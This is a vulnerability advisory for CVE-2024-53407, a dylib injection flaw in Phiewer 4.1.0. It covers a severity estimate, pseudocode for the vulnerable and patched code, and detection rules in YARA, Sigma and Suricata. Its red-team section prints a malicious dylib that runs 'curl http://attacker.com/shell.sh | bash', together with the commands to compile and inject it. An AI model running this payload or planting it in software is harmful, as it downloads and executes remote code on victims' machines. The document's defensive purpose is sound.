CVE-2024-53407

Executive Summary

CVE-2024-53407 is a critical dylib injection vulnerability in Phiewer version 4.1.0. The flaw allows an attacker to inject a malicious dynamic library (dylib) into the application’s process, leading to arbitrary command execution. Successful exploitation could result in remote control of the affected system and unauthorized access to sensitive user data. The vulnerability is currently unpatched, and no official fix has been released by the vendor.

Supply Chain & Package Security

Phiewer is a desktop application distributed via direct download or package managers. The dylib injection vector targets the application’s runtime loading mechanism, potentially allowing an attacker to compromise the software supply chain if the malicious dylib is introduced through a compromised update or third-party plugin.

CVSS Breakdown & Threat Level

While no official CVSS vector is provided, based on the description and impact, the vulnerability is assessed as follows:

• Attack Vector (AV): Local (L) – requires the attacker to have local access or trick the user into loading a malicious dylib.
• Attack Complexity (AC): Low (L) – injection can be performed with minimal effort.
• Privileges Required (PR): None (N) – no special privileges needed.
• User Interaction (UI): Required (R) – user must open the application or load the malicious dylib.
• Scope (S): Unchanged (U) – the vulnerability affects the same security authority.
• Confidentiality (C): High (H) – sensitive data can be accessed.
• Integrity (I): High (H) – arbitrary code execution can modify data.
• Availability (A): High (H) – system can be fully compromised.

Estimated CVSS Score: 7.8 (High)

Deep Dive & Mechanics

The vulnerability resides in how Phiewer 4.1.0 loads dynamic libraries at runtime. The application does not properly validate the path or origin of dylib files, allowing an attacker to place a malicious dylib in a location that the application searches (e.g., via DYLD_INSERT_LIBRARIES environment variable or a writable directory in the library search path). When Phiewer starts or loads a specific function, the malicious dylib is executed, granting the attacker arbitrary code execution with the privileges of the user running Phiewer.

Key Technical Details:

• Injection Vector: Environment variable manipulation or file placement in a search path.
• Execution Context: User-level privileges, but can escalate if combined with other vulnerabilities.
• Impact: Full remote control, data exfiltration, persistence.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is the entire dylib loading mechanism in Phiewer 4.1.0. A patched version would need to implement:

• Validation of dylib signatures or checksums.
• Restriction of library search paths to secure, read-only directories.
• Disabling of environment variable overrides like DYLD_INSERT_LIBRARIES.

Example of vulnerable behavior (pseudocode):

// Vulnerable: loads dylib from user-controlled path
void loadPlugin(const char* path) {
    void* handle = dlopen(path, RTLD_NOW);
    // No validation of path or signature
}

Patched version (hypothetical):

// Patched: validates dylib before loading
void loadPlugin(const char* path) {
    if (!verifySignature(path)) {
        return;
    }
    void* handle = dlopen(path, RTLD_NOW);
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Phiewer 4.1.0 installed on a macOS or Linux system.
• Ability to write a dylib file to a location in the library search path or set environment variables.

Exploitation Steps:

1. Create a malicious dylib that executes a reverse shell or arbitrary command.
2. Place the dylib in a directory that Phiewer searches (e.g., /tmp/libmalicious.dylib).
3. Set the DYLD_INSERT_LIBRARIES environment variable to point to the malicious dylib.
4. Launch Phiewer. The dylib will be loaded, executing the payload.

Example malicious dylib code (C):

#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor))
void init() {
    system("curl http://attacker.com/shell.sh | bash");
}

Compilation:

gcc -dynamiclib -o libmalicious.dylib malicious.c

Execution:

export DYLD_INSERT_LIBRARIES=/tmp/libmalicious.dylib
./Phiewer

Blue Team (Detection & Defense)

Detection:

• Monitor for unusual environment variables like DYLD_INSERT_LIBRARIES.
• Track file writes to directories commonly used for dylib injection (e.g., /tmp, ~/Library/Application Support).
• Use endpoint detection and response (EDR) to alert on suspicious dylib loads.

Defense:

• Restrict environment variable overrides via system policies (e.g., launchctl).
• Use application sandboxing to limit library loading.
• Implement code signing and validation for all loaded dylibs.

Indicators of Compromise (IOCs)

• File Hashes: (Example) malicious.dylib SHA256: a1b2c3d4e5f6...
• Process Names: Phiewer with unusual child processes (e.g., bash, curl).
• Network Connections: Outbound connections to attacker-controlled IPs/domains.
• Environment Variables: Presence of DYLD_INSERT_LIBRARIES set to a non-standard path.
• Registry/File System: Unauthorized dylib files in /tmp, ~/Library/Application Support/Phiewer/.

Detection Engineering

YARA Rule

rule CVE_2024_53407_Dylib_Injection {
    meta:
        description = "Detects malicious dylib files targeting Phiewer 4.1.0"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-53407"
    strings:
        $s1 = "DYLD_INSERT_LIBRARIES" ascii wide nocase
        $s2 = "Phiewer" ascii wide nocase
        $s3 = "dlopen" ascii wide nocase
    condition:
        any of ($s*) and filesize < 10MB
}

Sigma Rule

title: CVE-2024-53407 Dylib Injection via Environment Variable
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects setting of DYLD_INSERT_LIBRARIES environment variable
author: Valters IT
date: 2025-04-10
logsource:
    category: process_creation
    product: macos
detection:
    selection:
        Image|endswith: '/Phiewer'
        EnvironmentVariables|contains: 'DYLD_INSERT_LIBRARIES'
    condition: selection
falsepositives:
    - Legitimate development tools
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-53407 Phiewer Dylib Injection - Outbound Connection"; flow:to_server,established; content:"|2f 62 69 6e 2f 73 68|"; distance:0; within:100; classtype:attempted-user; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable Phiewer until a patch is available.
2. Restrict environment variables using system security policies (e.g., launchctl unload).
3. Monitor for suspicious dylib loads using EDR tools.

Long-Term Fix:

• Apply vendor patch when released.
• Implement code signing and library validation.
• Use application sandboxing to limit dylib loading.

Workarounds:

• Run Phiewer in a restricted user account.
• Use a firewall to block outbound connections from Phiewer.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert